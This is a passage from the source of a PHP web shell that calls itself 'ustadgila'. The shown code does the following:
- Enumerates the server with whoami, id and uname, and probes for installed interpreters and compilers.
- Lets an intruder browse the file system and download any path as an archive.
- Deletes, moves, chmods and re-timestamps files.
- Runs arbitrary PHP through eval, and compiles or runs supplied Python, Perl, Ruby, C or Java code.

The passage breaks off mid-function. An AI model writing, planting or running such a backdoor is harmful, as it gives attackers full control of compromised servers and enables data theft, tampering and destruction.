  707.     if($s_sqltype == 'mysql'){if(function_exists('mysql_field_name')) return mysql_field_name($s_hasil,$s_i);}
  708.     elseif($s_sqltype == 'mssql'){
  709.         if(function_exists('mssql_field_name')) return mssql_field_name($s_hasil,$s_i);
  710.         elseif(function_exists('sqlsrv_field_metadata')){
  711.             $s_metadata = sqlsrv_field_metadata($s_hasil);
  712.             if(is_array($s_metadata)){
  713.                 $s_metadata=$s_metadata[$s_i];
  714.             }
  715.             if(is_array($s_metadata)) return $s_metadata['Name'];
  716.         }
  717.     }
  718.     elseif($s_sqltype == 'pgsql'){if(function_exists('pg_field_name')) return pg_field_name($s_hasil,$s_i);}
  719.     elseif($s_sqltype == 'oracle'){if(function_exists('oci_field_name')) return oci_field_name($s_hasil,$s_i+1);}
  720.     elseif($s_sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $s_hasil->columnName($s_i);}
  721.     elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_field_name')) return sqlite_field_name($s_hasil,$s_i);}
  722.     elseif($s_sqltype == 'odbc'){if(function_exists('odbc_field_name')) return odbc_field_name($s_hasil,$s_i+1);}
  723.     elseif($s_sqltype == 'pdo'){
  724.         if(class_exists('PDO')){
  725.             $s_res = $s_hasil->getColumnMeta($s_i);
  726.             return $s_res['name'];
  727.         }
  728.     }
  729. }
  730. function sql_fetch_data($s_sqltype,$s_hasil){
  731.     if($s_sqltype == 'mysql'){if(function_exists('mysql_fetch_row')) return mysql_fetch_row($s_hasil);}
  732.     elseif($s_sqltype == 'mssql'){
  733.         if(function_exists('mssql_fetch_row')) return mssql_fetch_row($s_hasil);
  734.         elseif(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($s_hasil,1);
  735.     }
  736.     elseif($s_sqltype == 'pgsql'){if(function_exists('pg_fetch_row')) return pg_fetch_row($s_hasil);}
  737.     elseif($s_sqltype == 'oracle'){if(function_exists('oci_fetch_row')) return oci_fetch_row($s_hasil);}
  738.     elseif($s_sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $s_hasil->fetchArray(1);}
  739.     elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_fetch_array')) return sqlite_fetch_array($s_hasil,1);}
  740.     elseif($s_sqltype == 'odbc'){if(function_exists('odbc_fetch_array')) return odbc_fetch_array($s_hasil);}
  741.     elseif($s_sqltype == 'pdo'){if(class_exists('PDO')) return $s_hasil->fetch(2);}
  742. }
  743. function sql_num_rows($s_sqltype,$s_hasil){
  744.     if($s_sqltype == 'mysql'){if(function_exists('mysql_num_rows')) return mysql_num_rows($s_hasil);}
  745.     elseif($s_sqltype == 'mssql'){
  746.         if(function_exists('mssql_num_rows')) return mssql_num_rows($s_hasil);
  747.         elseif(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($s_hasil);
  748.     }
  749.     elseif($s_sqltype == 'pgsql'){if(function_exists('pg_num_rows')) return pg_num_rows($s_hasil);}
  750.     elseif($s_sqltype == 'oracle'){if(function_exists('oci_num_rows')) return oci_num_rows($s_hasil);}
  751.     elseif($s_sqltype == 'sqlite3'){
  752.         if(class_exists('SQLite3')){
  753.             $s_metadata = $s_hasil->fetchArray();
  754.             if(is_array($s_metadata)) return $s_metadata['count'];
  755.         }
  756.     }
  757.     elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_num_rows')) return sqlite_num_rows($s_hasil);}
  758.     elseif($s_sqltype == 'odbc'){if(function_exists('odbc_num_rows')) return odbc_num_rows($s_hasil);}
  759.     elseif($s_sqltype == 'pdo'){if(class_exists('PDO')) return $s_hasil->rowCount();}
  760. }
  761. function sql_close($s_sqltype,$s_con){
  762.     if($s_sqltype == 'mysql'){if(function_exists('mysql_close')) return mysql_close($s_con);}
  763.     elseif($s_sqltype == 'mssql'){
  764.         if(function_exists('mssql_close')) return mssql_close($s_con);
  765.         elseif(function_exists('sqlsrv_close')) return sqlsrv_close($s_con);
  766.     }
  767.     elseif($s_sqltype == 'pgsql'){if(function_exists('pg_close')) return pg_close($s_con);}
  768.     elseif($s_sqltype == 'oracle'){if(function_exists('oci_close')) return oci_close($s_con);}
  769.     elseif($s_sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $s_con->close();}
  770.     elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_close')) return sqlite_close($s_con);}
  771.     elseif($s_sqltype == 'odbc'){if(function_exists('odbc_close')) return odbc_close($s_con);}
  772.     elseif($s_sqltype == 'pdo'){if(class_exists('PDO')) return $s_con = null;}
  773. }
  774. if(!function_exists('str_split')){
  775.     function str_split($s_t,$s_s=1){
  776.         $s_a = array();
  777.         for($s_i=0;$s_i<strlen($s_t);){
  778.             $s_a[] = substr($s_t,$s_i,$s_s);
  779.             $s_i += $s_s;
  780.         }
  781.         return $s_a;
  782.     }
  783. }
  784.  
  785. global $s_self;
  786. $s_self = "?";
  787.  
  788. $s_cek1 = basename($_SERVER['SCRIPT_FILENAME']);
  789. $s_cek2 = substr(basename(__FILE__),0,strlen($s_cek1));;
  790.  
  791. if(isset($_COOKIE['ustadgila_included'])){
  792.     if(strcmp($s_cek1,$s_cek2)!=0) $s_self = $_COOKIE['s_self'];
  793.     else{
  794.         $s_self = "?";
  795.         setcookie("ustadgila_included", "0" ,time() - $s_login_time);
  796.         setcookie("s_self", $s_self ,time() + $s_login_time);
  797.     }
  798. }
  799. else{
  800.     if(strcmp($s_cek1,$s_cek2)!=0){
  801.         if(!isset($_COOKIE['s_home'])){
  802.             $s_home = "?".$_SERVER["QUERY_STRING"]."&";
  803.             setcookie("s_home", $s_home ,time() + $s_login_time);
  804.         }
  805.         if(isset($s_home)) $s_self = $s_home;
  806.         elseif(isset($_COOKIE['s_home'])) $s_self = $_COOKIE['s_home'];
  807.         setcookie("ustadgila_included", "1" ,time() + $s_login_time);
  808.         setcookie("s_self", $s_self ,time() + $s_login_time);
  809.     }
  810.     else{
  811.         $s_self = "?";
  812.         setcookie("ustadgila_included", "0" ,time() - $s_login_time);
  813.         setcookie("s_self", $s_self ,time() + $s_login_time);
  814.     }
  815. }
  816.  
  817. if($s_auth){
  818.     // server software
  819.     $s_software = getenv("SERVER_SOFTWARE");
  820.     // uname -a
  821.     $s_system = php_uname();
  822.     // check os
  823.     $s_win = (strtolower(substr($s_system,0,3)) == "win")? true : false;
  824.     // change working directory
  825.     if(isset($_REQUEST['cd'])){
  826.         $s_dd = ss($_REQUEST['cd']);
  827.         if(is_dir($s_dd)){
  828.             $s_cwd = cp($s_dd);
  829.             chdir($s_cwd);
  830.             setcookie("cwd", $s_cwd ,time() + $s_login_time);
  831.         }
  832.     }
  833.     else{
  834.         if(isset($_COOKIE['cwd'])){
  835.             $s_dd = ss($_COOKIE['cwd']);
  836.             if(is_dir($s_dd)){
  837.                 $s_cwd = cp($s_dd);
  838.                 chdir($s_cwd);
  839.             }
  840.         }
  841.         else $s_cwd = cp(getcwd());
  842.     }
  843.     // get path and all drives available
  844.     $s_letters = '';
  845.     if(!$s_win){
  846.         if(!$s_user = rp(exe("whoami"))) $s_user = "";
  847.         if(!$s_id = rp(exe("id"))) $s_id = "";
  848.     }
  849.     else {
  850.         $s_user = get_current_user();
  851.         $s_id = $s_user;
  852.         // find drive letters
  853.         $s_v = explode("\\",$s_cwd);
  854.         $s_v = $s_v[0];
  855.         foreach (range("A","Z") as $s_letter){
  856.             if(is_dir($s_letter.":\\") && is_readable($s_letter.":\\")){
  857.                 $s_letters .= "<a href='".$s_self."cd=".$s_letter.":\\' onclick='return false;'>[ ";
  858.                 if ($s_letter.":" != $s_v) {$s_letters .= $s_letter;}
  859.                 else {$s_letters .= "<span style='color:#fff;'>".$s_letter."</span>";}
  860.                 $s_letters .= " ]</a> ";
  861.             }
  862.         }
  863.     }
  864.     // prompt style..
  865.     $s_prompt = $s_user." >";
  866.     // check for posix
  867.     $s_posix = (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))? true : false;
  868.     // server ip
  869.     $s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]);
  870.     // your ip ;-)
  871.     $s_my_ip = $_SERVER['REMOTE_ADDR'];
  872.     $s_result = "";
  873.  
  874.     global $s_python, $s_perl, $s_ruby, $s_gcc, $s_java, $s_tar;
  875.     // check python
  876.     if(isset($_COOKIE['s_python'])){$s_python = $_COOKIE['s_python'];}
  877.     else{
  878.         $s_python = check_access("python");
  879.         setcookie("s_python", $s_python ,time() + $s_login_time);
  880.     }
  881.     $s_python = ($s_python=="1")?true:false;
  882.  
  883.     // check perl
  884.     if(isset($_COOKIE['s_perl'])){$s_perl = $_COOKIE['s_perl'];}
  885.     else{
  886.         $s_perl = check_access("perl");
  887.         setcookie("s_perl", $s_perl ,time() + $s_login_time);
  888.     }
  889.     $s_perl = ($s_perl=="1")?true:false;
  890.  
  891.     // check ruby
  892.     if(isset($_COOKIE['s_ruby'])){$s_ruby = $_COOKIE['s_ruby'];}
  893.     else{
  894.         $s_ruby = check_access("ruby");
  895.         setcookie("s_ruby", $s_ruby ,time() + $s_login_time);
  896.     }
  897.     $s_ruby = ($s_ruby=="1")?true:false;
  898.  
  899.     // check gcc
  900.     if(isset($_COOKIE['s_gcc'])){$s_gcc = $_COOKIE['s_gcc'];}
  901.     else{
  902.         $s_gcc = check_access("gcc");
  903.         setcookie("s_gcc", $s_gcc ,time() + $s_login_time);
  904.     }
  905.     $s_gcc = ($s_gcc=="1")?true:false;
  906.  
  907.     // check java
  908.     if(isset($_COOKIE['s_java'])){$s_java = $_COOKIE['s_java'];}
  909.     else{
  910.         $s_java = check_access("java");
  911.         setcookie("s_java", $s_java ,time() + $s_login_time);
  912.     }
  913.     $s_java = ($s_java=="1")?true:false;
  914.  
  915.     // check tar
  916.     if(isset($_COOKIE['s_tar'])){$s_tar = $_COOKIE['s_tar'];}
  917.     else{
  918.         $s_tar = check_access("tar");
  919.         setcookie("s_tar", $s_tar ,time() + $s_login_time);
  920.     }
  921.     $s_tar = ($s_tar=="1")?true:false;
  922.  
  923.     if(!empty($_REQUEST['dltype']) && !empty($_REQUEST['dlpath'])){
  924.         $s_dltype = ss($_REQUEST['dltype']);
  925.         $s_dlpath = ss($_REQUEST['dlpath']);
  926.  
  927.         $s_dlname = basename($s_dlpath);
  928.         if($s_dlpath==".") $s_dlname=basename($s_cwd);
  929.         elseif($s_dlpath==".."){
  930.             chdir("..");
  931.             $s_dlname=basename(getcwd());
  932.             chdir($s_cwd);
  933.         }
  934.         $s_tmpdir = get_writabledir();
  935.         $s_dlarchive = $s_tmpdir.$s_dlname;
  936.         $s_dlthis = "";
  937.         if($s_dltype=="ziparchive"){
  938.             $s_dlarchive .= ".zip";
  939.             if(zip($s_dlpath,$s_dlarchive)){
  940.                 $s_dlthis = $s_dlarchive;
  941.             }
  942.         }
  943.         elseif($s_dltype=="tar"){
  944.             $s_dlarchive .= ".tar";
  945.             $s_dlarchive = str_replace('\\', '/', $s_dlarchive);
  946.             exe("tar cf ".$s_dlarchive." ".$s_dlpath);
  947.             $s_dlthis = $s_dlarchive;
  948.         }
  949.         elseif($s_dltype=="targz"){
  950.             $s_dlarchive .= ".tar.gz";
  951.             $s_dlarchive = str_replace('\\', '/', $s_dlarchive);
  952.             exe("tar czf ".$s_dlarchive." ".$s_dlpath);
  953.             $s_dlthis = $s_dlarchive;
  954.         }
  955.         elseif($s_dltype=="raw"){
  956.             if(is_file($s_dlpath)) $s_dlthis = $s_dlpath;
  957.         }
  958.  
  959.         if(is_file($s_dlthis)){
  960.             header("Content-Type: application/octet-stream");
  961.             header('Content-Transfer-Encoding: binary');
  962.             header("Content-length: ".@filesize($s_dlthis));
  963.             header("Content-disposition: attachment; filename=\"".basename($s_dlthis)."\";");
  964.             $s_file = @fopen($s_dlthis,"rb");
  965.             while(!feof($s_file)){
  966.                 print(@fread($s_file, 1024*8));
  967.                 ob_flush();
  968.                 flush();
  969.             }
  970.             fclose($s_file);
  971.  
  972.             if($s_dltype!="raw"){
  973.                 rename($s_dlthis,$s_dlthis."del");
  974.                 unlink($s_dlthis."del");
  975.             }
  976.             exit;
  977.         }
  978.     }
  979.     // massact
  980.     if(isset($_REQUEST['y'])){
  981.         $s_massact = $_COOKIE['massact'];
  982.         $s_buffer = rtrim(trim(urldecode($_COOKIE['buffer'])),"|");
  983.         $s_lists = explode("|", $s_buffer);
  984.         if(!empty($s_buffer)){
  985.             if($_REQUEST['y']=='delete'){
  986.                 $s_result .= "<p class='notif'>Delete ? <a href='".$s_self."y=delok' onclick='return false;'>Yes</a> | <a href='".$s_self."' onclick='return false;'>No</a></p>";
  987.                 foreach($s_lists as $s_l) $s_result .= "<p class='notif'>".$s_l."</p>";
  988.             }
  989.             elseif($_REQUEST['y']=='chmod'){
  990.                 $s_result .= "<div class='notif'>chmod ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='0755' name='chmodok' style='width:30px;text-align:center;' maxlength='4' /><input class='inputzbut' type='submit' value='Ruqyah' /></form></div>";
  991.                 foreach($s_lists as $s_l) $s_result .= "<p class='notif'>".$s_l."</p>";
  992.             }
  993.             elseif($_REQUEST['y']=='touch'){
  994.                 $s_result .= "<div class='notif'>touch ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".date("d-M-Y H:i:s",time())."' name='touchok' style='width:130px;text-align:center;' /><input class='inputzbut' type='submit' value='Ruqyah' /></form></div>";
  995.                 foreach($s_lists as $s_l) $s_result .= "<p class='notif'>".$s_l."</p>";
  996.             }
  997.             elseif($_REQUEST['y']=='paste' && $s_massact=='cut'){
  998.                 $s_result .= "<p class='notif'>Move here ? <a href='".$s_self."y=moveok' onclick='return false;'>Yes</a> | <a href='".$s_self."' onclick='return false;'>No</a></p>";
  999.                 foreach($s_lists as $s_l) $s_result .= "<p class='notif'>".$s_l."</p>";
  1000.             }
  1001.             elseif($_REQUEST['y']=='paste' && $s_massact=='copy'){
  1002.                 $s_result .= "<p class='notif'>Copy here ? <a href='".$s_self."y=copyok' onclick='return false;'>Yes</a> | <a href='".$s_self."' onclick='return false;'>No</a></p>";
  1003.                 foreach($s_lists as $s_l) $s_result .= "<p class='notif'>".$s_l."</p>";
  1004.             }
  1005.         }
  1006.     }
  1007.  
  1008.     if(isset($_REQUEST['y'])){
  1009.         $s_buffer = rtrim(trim(urldecode($_COOKIE['buffer'])),"|");
  1010.         $s_lists = explode("|", $s_buffer);
  1011.         $s_counter = 0;
  1012.         if($_REQUEST['y']=='moveok'){
  1013.             foreach($s_lists as $s_l){
  1014.                 if(rename($s_l,$s_cwd.basename($s_l))) $s_counter++;
  1015.             }
  1016.             if($s_counter>0) $s_result .= "<p class='notif'>".$s_counter." files/folders moved</p>";
  1017.             else $s_result .= "<p class='notif'>no files/folders moved</p>";
  1018.             setcookie("buffer", "" ,time() - $s_login_time);
  1019.             setcookie("massact", "" ,time() - $s_login_time);
  1020.         }
  1021.         if($_REQUEST['y']=='copyok'){
  1022.             foreach($s_lists as $s_l){
  1023.                 if(copy($s_l,$s_cwd.basename($s_l))) $s_counter++;
  1024.             }
  1025.             if($s_counter>0) $s_result .= "<p class='notif'>".$s_counter." files/folders copied</p>";
  1026.             else $s_result .= "<p class='notif'>no files/folders copied</p>";
  1027.             setcookie("buffer", "" ,time() - $s_login_time);
  1028.             setcookie("massact", "" ,time() - $s_login_time);
  1029.         }
  1030.         if($_REQUEST['y']=='delok'){
  1031.             foreach($s_lists as $s_l){
  1032.                 if(is_file($s_l)){
  1033.                     if(unlink($s_l)) $s_counter++;
  1034.                 }
  1035.                 elseif(is_dir($s_l)){
  1036.                     rmdirs($s_l);
  1037.                     if(!is_dir($s_l)) $s_counter++;
  1038.                 }
  1039.             }
  1040.             if($s_counter>0) $s_result .= "<p class='notif'>".$s_counter." files/folders deleted</p>";
  1041.             else $s_result .= "<p class='notif'>no files/folders deleted</p>";
  1042.             setcookie("buffer", "" ,time() - $s_login_time);
  1043.             setcookie("massact", "" ,time() - $s_login_time);
  1044.         }
  1045.     }
  1046.     elseif(isset($_REQUEST['chmodok'])){
  1047.         $s_buffer = rtrim(trim(urldecode($_COOKIE['buffer'])),"|");
  1048.         $s_lists = explode("|", $s_buffer);
  1049.         $s_counter = 0;
  1050.         $s_mod = octdec($_REQUEST['chmodok']);
  1051.         foreach($s_lists as $s_l){
  1052.             if(chmod($s_l,$s_mod)) $s_counter++;
  1053.         }
  1054.         if($s_counter>0) $s_result .= "<p class='notif'>".$s_counter." files/folders changed mode to ".decoct($s_mod)."</p>";
  1055.         else $s_result .= "<p class='notif'>no files/folders modified</p>";
  1056.         setcookie("buffer", "" ,time() - $s_login_time);
  1057.         setcookie("massact", "" ,time() - $s_login_time);
  1058.     }
  1059.     elseif(isset($_REQUEST['touchok'])){
  1060.         $s_buffer = rtrim(trim(urldecode($_COOKIE['buffer'])),"|");
  1061.         $s_lists = explode("|", $s_buffer);
  1062.         $s_counter = 0;
  1063.         $s_datenew = strtotime($_REQUEST['touchok']);
  1064.         foreach($s_lists as $s_l){
  1065.             if(touch($s_l,$s_datenew)) $s_counter++;
  1066.         }
  1067.         if($s_counter>0) $s_result .= "<p class='notif'>".$s_counter." files/folders changed access and modification time to ".date("d-M-Y H:i:s",$s_datenew)."</p>";
  1068.         else $s_result .= "<p class='notif'>no files/folders modified</p>";
  1069.         setcookie("buffer", "" ,time() - $s_login_time);
  1070.         setcookie("massact", "" ,time() - $s_login_time);
  1071.     }
  1072.  
  1073.     // view image specified by ?img=<file>
  1074.     if(isset($_REQUEST['img'])){
  1075.         ob_clean();
  1076.         $s_d = ss($_REQUEST['d']);
  1077.         $s_f = ss($_REQUEST['img']);
  1078.         $s_inf = @getimagesize($s_d.$s_f);
  1079.         $s_ext = explode($s_f,".");
  1080.         $s_ext = $s_ext[count($s_ext)-1];
  1081.         header("Content-type: ".$s_inf["mime"]);
  1082.         header("Cache-control: public");
  1083.         header("Expires: ".@date("r",@mktime(0,0,0,1,1,2030)));
  1084.         header("Cache-control: max-age=".(60*60*24*7));#
  1085.         readfile($s_d.$s_f);
  1086.         exit;
  1087.     }
  1088.  
  1089.     // rename file or folder
  1090.     if(isset($_REQUEST['rename']) && isset($_REQUEST['oldname']) && isset($_REQUEST['newname'])){
  1091.         $s_old = ss($_REQUEST['oldname']);
  1092.         $s_new = ss($_REQUEST['newname']);
  1093.  
  1094.         $s_renmsg = "";
  1095.         if(is_dir($s_old)) $s_renmsg = (@rename($s_cwd.$s_old,$s_cwd.$s_new)) ? "Directory ".$s_old." renamed to ".$s_new : "Unable to rename directory ".$s_old." to ".$s_new;
  1096.         elseif(is_file($s_old)) $s_renmsg = (@rename($s_cwd.$s_old,$s_cwd.$s_new)) ? "File ".$s_old." renamed to ".$s_new : "Unable to rename file ".$s_old." to ".$s_new;
  1097.         else $s_renmsg = "Cannot find the path specified ".$s_old;
  1098.  
  1099.         $s_result .= "<p class='notif'>".$s_renmsg."</p>";
  1100.         $s_fnew = $s_cwd.$s_new;
  1101.     }
  1102.  
  1103.     // confirm delete
  1104.     if(!empty($_REQUEST['del'])){
  1105.         $s_del = trim($_REQUEST['del']);
  1106.         $s_result .= "<p class='notif'>Delete ".basename($s_del)." ? <a href='".$s_self."delete=".$s_del."' onclick='return false;'>Yes</a> | <a href='".$s_self."' onclick='return false;'>No</a></p>";
  1107.     }// delete file
  1108.     elseif(!empty($_REQUEST['delete'])){
  1109.         $s_f = ss($_REQUEST['delete']);
  1110.         $s_delmsg = "";
  1111.         if(is_file($s_f)){
  1112.             $s_delmsg = (unlink($s_f)) ? "File removed : ".$s_f : "Unable to remove file ".$s_f;
  1113.         }
  1114.         elseif(is_dir($s_f)){
  1115.             rmdirs($s_f);
  1116.             $s_delmsg = (is_dir($s_f)) ? "Unable to remove directory ".$s_f : "Directory removed : ".$s_f;
  1117.         }
  1118.         else $s_delmsg = "Cannot find the path specified ".$s_f;
  1119.         $s_result .= "<p class='notif'>".$s_delmsg."</p>";
  1120.     } // create dir
  1121.     elseif(!empty($_REQUEST['mkdir'])){
  1122.         $s_f = ss($s_cwd.ss($_REQUEST['mkdir']));
  1123.         $s_dirmsg = "";
  1124.  
  1125.         $s_num = 1;
  1126.         if(is_dir($s_f)){
  1127.             $s_pos = strrpos($s_f,"_");
  1128.             if($s_pos!==false) $s_num = (int) substr($s_f,$s_pos+1);
  1129.             while(is_dir(substr($s_f,0,$s_pos)."_".$s_num)){
  1130.                 $s_num++;
  1131.             }
  1132.             $s_f = substr($s_f,0,$s_pos)."_".$s_num;
  1133.         }
  1134.         if(mkdir($s_f)) $s_dirmsg = "Directory created ".$s_f;
  1135.         else $s_dirmsg = "Unable to create directory ".$s_f;
  1136.  
  1137.         $s_result .= "<p class='notif'>".$s_dirmsg."</p>";
  1138.     }
  1139.  
  1140.     // php eval() function
  1141.     if(isset($_REQUEST['x']) && ($_REQUEST['x']=='eval')){
  1142.         $s_code = "";
  1143.         $s_res = "";
  1144.         $s_gccoption = "";
  1145.         $s_lang = "php";
  1146.  
  1147.         if(isset($_REQUEST['evalcode'])){
  1148.             $s_code = ssc($_REQUEST['evalcode']);
  1149.             $s_gccoption = (isset($_REQUEST['gccoption']))? " ".ssc($_REQUEST['gccoption']):"";
  1150.             $s_tmpdir = get_writabledir();
  1151.  
  1152.             if(isset($_REQUEST['lang'])){$s_lang = $_REQUEST['lang'];}
  1153.  
  1154.             if(strtolower($s_lang)=='php'){
  1155.                 ob_start();
  1156.                 eval($s_code);
  1157.                 $s_res = ob_get_contents();
  1158.                 ob_end_clean();
  1159.             }
  1160.             elseif(strtolower($s_lang)=='python'||strtolower($s_lang)=='perl'||strtolower($s_lang)=='ruby'){
  1161.                 $s_rand = md5(time().rand(0,100));
  1162.                 $s_script = $s_tmpdir.$s_rand;
  1163.                 file_put_contents($s_script, $s_code);
  1164.                 if(is_file($s_script)){
  1165.                     $s_res = exe($s_lang." ".$s_script.$s_gccoption);
  1166.                     unlink($s_script);
  1167.                 }
  1168.             }
  1169.             elseif(strtolower($s_lang)=='gcc'){
  1170.                 $s_script = md5(time().rand(0,100));
  1171.                 chdir($s_tmpdir);
  1172.                 file_put_contents($s_script.".c", $s_code);
  1173.                 if(is_file($s_script.".c")){
  1174.                     $s_scriptout = $s_win ? $s_script.".exe" : $s_script;
  1175.                     $s_res = exe("gcc ".$s_script.".c -o ".$s_scriptout.$s_gccoption);
  1176.                     if(is_file($s_scriptout)){
  1177.                         $s_res = $s_win ? exe($s_scriptout) : exe("chmod +x ".$s_scriptout." ; ./".$s_scriptout);
  1178.                         rename($s_scriptout, $s_scriptout."del");
  1179.                         unlink($s_scriptout."del");
  1180.                     }
  1181.                     unlink($s_script.".c");
  1182.                 }
  1183.                 chdir($s_cwd);
  1184.             }
  1185.             elseif(strtolower($s_lang)=='java'){
  1186.                 if(preg_match("/class\ ([^{]+){/i",$s_code, $s_r)){
  1187.                     $s_classname = trim($s_r[1]);
  1188.                     $s_script = $s_classname;
  1189.                 }
  1190.                 else{
  1191.                     $s_rand = "ustadgila_".substr(md5(time().rand(0,100)),0,8);
  1192.                     $s_script = $s_rand;
  1193.                     $s_code = "class ".$s_rand." { ".$s_code . " } ";
  1194.                 }
  1195.                 chdir($s_tmpdir);
  1196.                 file_put_contents($s_script.".java", $s_code);
  1197.                 if(is_file($s_script.".java")){
  1198.                     $s_res = exe("javac ".$s_script.".java");
  1199.                     if(is_file($s_script.".class")){
  1200.                         $s_res .= exe("java ".$s_script.$s_gccoption);
  1201.                         unlink($s_script.".class");
  1202.                     }
  1203.                     unlink($s_script.".java");
  1204.                 }
  1205.                 chdir($s_pwd);
  1206.             }
  1207.         }
  1208.  
  1209.         $s_lang_available = "<option value='php'>php</option>";
  1210.         $s_selected = "";
  1211.         if($s_python){
  1212.             $s_checked = ($s_lang == "python") ? "selected" : "";
  1213.             $s_lang_available .= "<option value='python' ".$s_checked.">python</option>";
  1214.         }
  1215.         if($s_perl){
  1216.             $s_checked = ($s_lang == "perl") ? "selected" : "";
  1217.             $s_lang_available .= "<option value='perl' ".$s_checked.">perl</option>";
  1218.         }
  1219.         if($s_ruby){
  1220.             $s_checked = ($s_lang == "ruby") ? "selected" : "";
  1221.             $s_lang_available .= "<option value='ruby' ".$s_checked.">ruby</option>";
  1222.         }
  1223.         if($s_gcc){
  1224.             $s_checked = ($s_lang == "gcc") ? "selected" : "";
  1225.             $s_lang_available .= "<option value='gcc' ".$s_checked.">c</option>";
  1226.         }
  1227.         if($s_java){
  1228.             $s_checked = ($s_lang == "java") ? "selected" : "";
  1229.             $s_lang_available .= "<option value='java' ".$s_checked.">java</option>";
  1230.         }
  1231.         $s_gccoptionclass = ($s_lang=="php")? "sembunyi":"";
  1232.         $s_e_result = (!empty($s_res)) ? "<pre id='evalres' style='border-top:1px solid #393939;margin:4px 0 0 0;padding:6px 0;' >".hss($s_res)."</pre>":"";
  1233.         $s_result .= "<form action='".$s_self."' method='post'>
  1234.                     <textarea id='evalcode' name='evalcode' style='height:150px;' class='txtarea'>".hss($s_code)."</textarea>
  1235.                     <table><tr><td style='padding:0;'><p><input type='submit' name='evalcodesubmit' class='inputzbut' value='Ruqyah' style='width:120px;height:30px;' /></p>
  1236.                     </td><td><select name='lang' onchange='evalselect(this);' class='inputzbut' style='width:120px;height:30px;padding:4px;'>
  1237.                     ".$s_lang_available."
  1238.                     </select>
  1239.                     </td>
  1240.                     <td><div id='additionaloption' class='".$s_gccoptionclass."'>Additional option<input class='inputz' style='width:400px;' type='text' name='gccoption' value='".hss($s_gccoption)."' title='If you want to give additional option to interpreter or compiler, give it here' id='gccoption' /></div></td>
  1241.                     </tr>
  1242.                     </table>
  1243.                     ".$s_e_result."
  1244.                     <input type='hidden' name='x' value='eval' />
  1245.                     </form>
  1246.                     ";
  1247.     }
  1248.     // find
  1249.     elseif(isset($_REQUEST['find'])){
  1250.         $s_p = cp($_REQUEST['find']);
  1251.  
  1252.         $s_type = isset($_REQUEST['type']) ? $_REQUEST['type'] : "sfile";
  1253.         $s_sfname = (!empty($_REQUEST['sfname']))?ssc($_REQUEST['sfname']):'';
  1254.         $s_sdname = (!empty($_REQUEST['sdname']))?ssc($_REQUEST['sdname']):'';
  1255.         $s_sfcontain = (!empty($_REQUEST['sfcontain']))?ssc($_REQUEST['sfcontain']):'';
  1256.  
  1257.         $s_sfnameregexchecked=$s_sfnameicasechecked=$s_sdnameregexchecked=$s_sdnameicasechecked=$s_sfcontainregexchecked=$s_sfcontainicasechecked=$s_swritablechecked=$s_sreadablechecked=$s_sexecutablechecked="";
  1258.         $s_sfnameregex=$s_sfnameicase=$s_sdnameregex=$s_sdnameicase=$s_sfcontainregex=$s_sfcontainicase=$s_swritable=$s_sreadable=$s_sexecutable=false;
  1259.  
  1260.         if(isset($_REQUEST['sfnameregex'])){$s_sfnameregex=true;$s_sfnameregexchecked="checked";}
  1261.         if(isset($_REQUEST['sfnameicase'])){$s_sfnameicase=true;$s_sfnameicasechecked="checked";}
  1262.         if(isset($_REQUEST['sdnameregex'])){$s_sdnameregex=true;$s_sdnameregexchecked="checked";}
  1263.         if(isset($_REQUEST['sdnameicase'])){$s_sdnameicase=true;$s_sdnameicasechecked="checked";}
  1264.         if(isset($_REQUEST['sfcontainregex'])){$s_sfcontainregex=true;$s_sfcontainregexchecked="checked";}
  1265.         if(isset($_REQUEST['sfcontainicase'])){$s_sfcontainicase=true;$s_sfcontainicasechecked="checked";}
  1266.         if(isset($_REQUEST['swritable'])){$s_swritable=true;$s_swritablechecked="checked";}
  1267.         if(isset($_REQUEST['sreadable'])){$s_sreadable=true;$s_sreadablechecked="checked";}
  1268.         if(isset($_REQUEST['sexecutable'])){$s_sexecutable=true;$s_sexecutablechecked="checked";}
  1269.  
  1270.         $s_sexecb = (function_exists("is_executable")) ? "<input class='css-checkbox' type='checkbox' name='sexecutable' value='sexecutable' id='se' ".$s_sexecutablechecked." /><label class='css-label' for='se'>Executable</span>":"";
  1271.  
  1272.         $s_candidate = array();
  1273.         if(isset($_REQUEST['sgo'])){
  1274.             $s_af = "";
  1275.  
  1276.             $s_candidate = getallfiles($s_p);
  1277.             if($s_type=='sfile') $s_candidate = array_filter($s_candidate, "is_file");
  1278.             elseif($s_type=='sdir') $s_candidate = array_filter($s_candidate, "is_dir");
  1279.  
  1280.             foreach($s_candidate as $s_a){
  1281.                 if($s_type=='sdir'){
  1282.                     if(!empty($s_sdname)){
  1283.                         if($s_sdnameregex){
  1284.                             if($s_sdnameicase){if(!preg_match("/".$s_sdname."/i", basename($s_a))) $s_candidate = array_diff($s_candidate,array($s_a));}
  1285.                             else{if(!preg_match("/".$s_sdname."/", basename($s_a))) $s_candidate = array_diff($s_candidate,array($s_a));}
  1286.                         }
  1287.                         else{
  1288.                             if($s_sdnameicase){if(strpos(strtolower(basename($s_a)),strtolower($s_sdname))===false) $s_candidate = array_diff($s_candidate,array($s_a));}
  1289.                             else{if(strpos(basename($s_a),$s_sdname)===false) $s_candidate = array_diff($s_candidate,array($s_a));}
  1290.                         }
  1291.                     }
  1292.                 }
  1293.                 elseif($s_type=='sfile'){
  1294.                     if(!empty($s_sfname)){
  1295.                         if($s_sfnameregex){
  1296.                             if($s_sfnameicase){if(!preg_match("/".$s_sfname."/i", basename($s_a))) $s_candidate = array_diff($s_candidate,array($s_a));}
  1297.                             else{if(!preg_match("/".$s_sfname."/", basename($s_a))) $s_candidate = array_diff($s_candidate,array($s_a));}
  1298.                         }
  1299.                         else{
  1300.                             if($s_sfnameicase){if(strpos(strtolower(basename($s_a)),strtolower($s_sfname))===false) $s_candidate = array_diff($s_candidate,array($s_a));}
  1301.                             else{if(strpos(basename($s_a),$s_sfname)===false) $s_candidate = array_diff($s_candidate,array($s_a));}
  1302.                         }
  1303.                     }
  1304.                     if(!empty($s_sfcontain)){
